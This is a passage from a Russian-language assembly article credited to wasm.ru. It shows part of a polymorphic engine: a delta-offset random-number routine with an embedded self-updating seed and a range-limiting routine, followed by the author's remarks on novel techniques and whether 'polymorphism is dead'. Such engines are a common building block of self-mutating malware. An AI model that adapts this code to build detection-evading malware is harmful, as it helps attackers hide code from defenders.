; генерации случайного числа xor edx,edx ; Обнуляем edx pop ecx ; Восстанавливаем значение ; из стэка в ecx div ecx ; Делим eax на ecx xchg eax,edx ; Помещаем остаток в eax xor edx,edx ; Обнуляем edx push 100 ; Помещаем в ecx - 100 pop ecx ; div ecx ; Делим eax на ecx pop ebp ecx edx ; Восстанавливаем ebp, ecx, ; edx ret ; Возврат из подпрограммы ;----[Подпрограмма генерации случайного числа]-----------------------------; random32: push ebp call __delta3_ ; __delta3_: pop ebp ; Получение дельта смещения sub ebp,offset __delta3_ ; mov eax,12345678h ; rand_seed= dword ptr $-4 ; imul eax,00019660Dh ; add eax,03C6EF35Fh ; Математические операции mov [ebp+rand_seed],eax ; для получения случайного shr eax,16 ; числа imul eax,[esp+4] ; pop ebp retn ; Возврат из подпрограммы ;--------------------------------------------------------------------------; ; ; ;----[Резать здесь]--------------------------------------------------------; Последние две техники нигде мной ранее не встречались. И хочется верить, что разработаны они мной. Для чего это всё может быть использовано? Об этом каждый ответит для себя сам. Я например собираюсь на базе данного движка создать программную защиту. После всего этого, хочется задаться закономерным вопросом: "Полиморфизм мёртв?". ©wasm.ru